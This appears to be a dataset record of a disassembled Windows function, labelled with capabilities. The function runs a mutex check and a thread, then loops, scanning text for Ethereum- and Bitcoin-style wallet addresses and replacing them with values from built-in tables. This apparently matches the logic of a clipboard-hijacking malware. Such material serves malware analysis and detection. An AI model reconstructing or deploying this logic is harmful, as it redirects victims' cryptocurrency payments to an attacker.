Function at 0x402c3a
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403724
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x10278
call fcn.00403550
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x8234], 0
mov dword [ebp - 0x8244], 0
mov dword [ebp - 0x823c], 0
mov dword [ebp - 0x8240], 0
mov dword [ebp - 0x8248], 0
mov dword [ebp - 0x8220], 0
mov dword [ebp - 0x1024c], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x8238], 0
mov word [ebp - 0x10248], 0
mov ecx, 0x1fff
xor eax, eax
lea edi, [ebp - 0x10246]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x8014], 0
mov ecx, 0x1fff
xor eax, eax
lea edi, [ebp - 0x8012]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x821c], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x821a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x8230], 0
xor eax, eax
mov dword [ebp - 0x822e], eax
mov dword [ebp - 0x822a], eax
mov dword [ebp - 0x8226], eax
mov word [ebp - 0x8222], ax
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0x10250], 0
lea ecx, [ebp - 0x10250]
push ecx
push 0
push 0
push 0x402b1c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x402178
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x10254], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402dad
mov edx, dword [ebp - 0x10254]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 0x10254]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x403526
cmp dword [0x40384c], 0
je 0x403515
cmp dword [0x403838], 0
je 0x403515
cmp dword [0x40383c], 0
je 0x403515
cmp dword [0x403848], 0
je 0x403515
cmp dword [0x403844], 0
je 0x403515
mov ecx, 1
test ecx, ecx
je 0x403515
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov word [ebp - 0x10248], 0
lea edx, [ebp - 0x10248]
push edx
call fcn.0040244a
mov dword [ebp - 0x10258], eax
mov eax, dword [ebp - 0x10258]
mov dword [ebp - 0x823c], eax
lea ecx, [ebp - 0x8230]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
cmp dword [ebp - 0x823c], 0x19
jb 0x403510
cmp dword [ebp - 0x823c], 0x2000
ja 0x403510
push 0x3c
push 0
push 0x403854
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x10248]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x8238], 0
mov dword [ebp - 0x8234], 0
mov eax, dword [ebp - 0x8234]
mov dword [ebp - 0x8220], eax
mov ecx, dword [ebp - 0x8220]
mov dword [ebp - 0x1024c], ecx
mov edx, dword [ebp - 0x14]
xor eax, eax
mov ax, word [edx]
test eax, eax
je 0x403510
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x10248]
sub ecx, edx
sar ecx, 1
cmp ecx, 0x8000
jb 0x402ec7
jmp 0x403510
mov eax, dword [ebp - 0x8220]
add eax, 1
mov dword [ebp - 0x8220], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8238], ecx
mov edx, dword [ebp - 0x14]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x31
je 0x402f2a
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov dx, word [ecx]
cmp edx, 0x33
je 0x402f2a
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x62
je 0x402f2a
mov edx, dword [ebp - 0x14]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x30
je 0x402f2a
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov dx, word [ecx]
test edx, edx
je 0x402f2a
mov eax, dword [ebp - 0x14]
add eax, 2
mov dword [ebp - 0x14], eax
jmp 0x402edf
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov dx, word [ecx]
test edx, edx
je 0x4034f7
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x19
jle 0x4034f7
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov dx, word [ecx]
cmp edx, 0x30
jne 0x403079
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov cx, word [eax + 2]
cmp ecx, 0x78
jne 0x403079
mov dword [ebp - 0x8240], 0
mov edx, dword [ebp - 0x14]
add edx, 4
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x8238], eax
mov ecx, dword [ebp - 0x8238]
xor edx, edx
mov dx, word [ecx]
cmp edx, 0x61
jl 0x402fac
mov eax, dword [ebp - 0x8238]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x66
jle 0x402fec
mov edx, dword [ebp - 0x8238]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x41
jl 0x402fcc
mov ecx, dword [ebp - 0x8238]
xor edx, edx
mov dx, word [ecx]
cmp edx, 0x46
jle 0x402fec
mov eax, dword [ebp - 0x8238]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x30
jl 0x40300c
mov edx, dword [ebp - 0x8238]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x39
jg 0x40300c
mov ecx, dword [ebp - 0x8240]
add ecx, 1
mov dword [ebp - 0x8240], ecx
mov edx, dword [ebp - 0x8238]
add edx, 2
mov dword [ebp - 0x8238], edx
jmp 0x402f8c
cmp dword [ebp - 0x8240], 0x28
jne 0x40306b
mov eax, dword [ebp - 0x8238]
sub eax, dword [ebp - 0x14]
sar eax, 1
add eax, 1
push eax
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x821c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov eax, dword [0x4010d0]
push eax
lea ecx, [ebp - 0x821c]
push ecx
lea edx, [ebp - 0x10248]
push edx
call fcn.0040266d
mov dword [ebp - 0x1025c], eax
cmp dword [ebp - 0x1025c], 0
je 0x403069
lea eax, [ebp - 0x10248]
push eax
call fcn.0040252e
jmp 0x403074
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8238], ecx
jmp 0x4034f5
mov edx, dword [ebp - 0x14]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x62
jne 0x4031fc
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov dx, word [ecx + 2]
cmp edx, 0x63
jne 0x4031fc
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov cx, word [eax + 4]
cmp ecx, 0x31
jne 0x4031fc
mov edx, dword [ebp - 0x14]
xor eax, eax
mov ax, word [edx + 6]
cmp eax, 0x71
jne 0x4031fc
mov dword [ebp - 0x8240], 0
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8238], ecx
mov edx, dword [ebp - 0x8238]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x61
jl 0x4030f3
mov ecx, dword [ebp - 0x8238]
xor edx, edx
mov dx, word [ecx]
cmp edx, 0x7a
jle 0x403133
mov eax, dword [ebp - 0x8238]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x41
jl 0x403113
mov edx, dword [ebp - 0x8238]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x5a
jle 0x403133
mov ecx, dword [ebp - 0x8238]
xor edx, edx
mov dx, word [ecx]
cmp edx, 0x30
jl 0x403153
mov eax, dword [ebp - 0x8238]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x39
jg 0x403153
mov edx, dword [ebp - 0x8240]
add edx, 1
mov dword [ebp - 0x8240], edx
mov eax, dword [ebp - 0x8238]
add eax, 2
mov dword [ebp - 0x8238], eax
jmp 0x4030d3
cmp dword [ebp - 0x8240], 0x14
jb 0x4031ee
cmp dword [ebp - 0x8240], 0x5b
ja 0x4031ee
mov ecx, dword [ebp - 0x8238]
sub ecx, dword [ebp - 0x14]
sar ecx, 1
add ecx, 1
push ecx
mov edx, dword [ebp - 0x14]
push edx
lea eax, [ebp - 0x821c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
lea ecx, [ebp - 0x821c]
push ecx
call fcn.0040274c
mov dword [ebp - 0x10260], eax
cmp dword [ebp - 0x10260], 0
jne 0x4031ec
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xe
idiv ecx
mov edx, dword [edx*4 + 0x40115c]
push edx
lea eax, [ebp - 0x821c]
push eax
lea ecx, [ebp - 0x10248]
push ecx
call fcn.0040266d
mov dword [ebp - 0x10264], eax
cmp dword [ebp - 0x10264], 0
je 0x4031ec
lea edx, [ebp - 0x10248]
push edx
call fcn.0040252e
jmp 0x4031f7
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x8238], eax
jmp 0x4034f5
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov dx, word [ecx]
cmp edx, 0x31
je 0x40321a
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x33
jne 0x4034f5
mov dword [ebp - 0x8240], 0
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x8238], edx
mov eax, dword [ebp - 0x8238]
mov cx, word [eax]
push ecx
call fcn.004021b0
mov byte [ebp - 0x10268], al
mov edx, dword [ebp - 0x10268]
and edx, 0xff
test edx, edx
je 0x403272
mov eax, dword [ebp - 0x8240]
add eax, 1
mov dword [ebp - 0x8240], eax
mov ecx, dword [ebp - 0x8238]
add ecx, 2
mov dword [ebp - 0x8238], ecx
jmp 0x40322d
cmp dword [ebp - 0x8240], 0x19
jb 0x4034f5
cmp dword [ebp - 0x8240], 0x32
ja 0x4034f5
mov edx, dword [ebp - 0x8238]
sub edx, dword [ebp - 0x14]
sar edx, 1
add edx, 1
push edx
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x821c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
lea edx, [ebp - 0x821c]
push edx
call fcn.00402a6b
mov dword [ebp - 0x1026c], eax
cmp dword [ebp - 0x1026c], 0
je 0x4034f5
lea eax, [ebp - 0x821c]
push eax
call fcn.0040274c
mov dword [ebp - 0x10270], eax
cmp dword [ebp - 0x10270], 0
jne 0x4034f5
mov dword [ebp - 0x8240], 0
mov ecx, dword [ebp - 0x8240]
mov dword [ebp - 0x8234], ecx
cmp dword [ebp - 0x1024c], 0
jne 0x4033a7
mov eax, dword [ebp - 0x8228]
and eax, 0xffff
cdq
mov ecx, 0xe
idiv ecx
mov dword [ebp - 0x8244], edx
mov edx, dword [ebp - 0x8244]
mov dword [edx*4 + 0x403854], 1
mov eax, dword [ebp - 0x821c]
and eax, 0xffff
cmp eax, 0x31
jne 0x40335c
mov ecx, dword [ebp - 0x8244]
mov edx, dword [ecx*4 + 0x4010d4]
mov dword [ebp - 0x10274], edx
jmp 0x40336f
mov eax, dword [ebp - 0x8244]
mov ecx, dword [eax*4 + 0x401118]
mov dword [ebp - 0x10274], ecx
mov edx, dword [ebp - 0x10274]
push edx
lea eax, [ebp - 0x821c]
push eax
lea ecx, [ebp - 0x10248]
push ecx
call fcn.0040266d
mov dword [ebp - 0x10278], eax
cmp dword [ebp - 0x10278], 0
je 0x4033a2
mov dword [ebp - 0x8234], 1
jmp 0x4034d1
mov dword [ebp - 0x8240], 0
jmp 0x4033c2
mov edx, dword [ebp - 0x8240]
add edx, 1
mov dword [ebp - 0x8240], edx
cmp dword [ebp - 0x8240], 0x32
jae 0x4034d1
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xe
idiv ecx
mov dword [ebp - 0x8244], edx
mov edx, dword [ebp - 0x8244]
cmp dword [edx*4 + 0x403854], 0
je 0x403409
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xe
idiv ecx
mov dword [ebp - 0x8244], edx
jmp 0x40341a
mov edx, dword [ebp - 0x8244]
mov dword [edx*4 + 0x403854], 1
lea eax, [ebp - 0x821c]
push eax
call fcn.0040274c
mov dword [ebp - 0x1027c], eax
cmp dword [ebp - 0x1027c], 0
je 0x403443
cmp dword [ebp - 0x8240], 0x28
jae 0x403443
jmp 0x4033b3
lea ecx, [ebp - 0x821c]
push ecx
call fcn.00402a6b
mov dword [ebp - 0x10280], eax
cmp dword [ebp - 0x10280], 0
je 0x4034cc
mov edx, dword [ebp - 0x821c]
and edx, 0xffff
cmp edx, 0x31
jne 0x403484
mov eax, dword [ebp - 0x8244]
mov ecx, dword [eax*4 + 0x4010d4]
mov dword [ebp - 0x10284], ecx
jmp 0x403497
mov edx, dword [ebp - 0x8244]
mov eax, dword [edx*4 + 0x401118]
mov dword [ebp - 0x10284], eax
mov ecx, dword [ebp - 0x10284]
push ecx
lea edx, [ebp - 0x821c]
push edx
lea eax, [ebp - 0x10248]
push eax
call fcn.0040266d
mov dword [ebp - 0x10288], eax
cmp dword [ebp - 0x10288], 0
je 0x4034cc
mov dword [ebp - 0x8234], 1
jmp 0x4034d1
jmp 0x4033b3
mov ecx, dword [ebp - 0x1024c]
add ecx, 1
mov dword [ebp - 0x1024c], ecx
cmp dword [ebp - 0x8234], 0
je 0x4034f5
lea edx, [ebp - 0x10248]
push edx
call fcn.0040252e
jmp 0x4034f9
jmp 0x403510
mov eax, dword [ebp - 0x8238]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, 2
mov dword [ebp - 0x14], ecx
jmp 0x402e9d
jmp 0x402dee
jmp 0x40351d
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10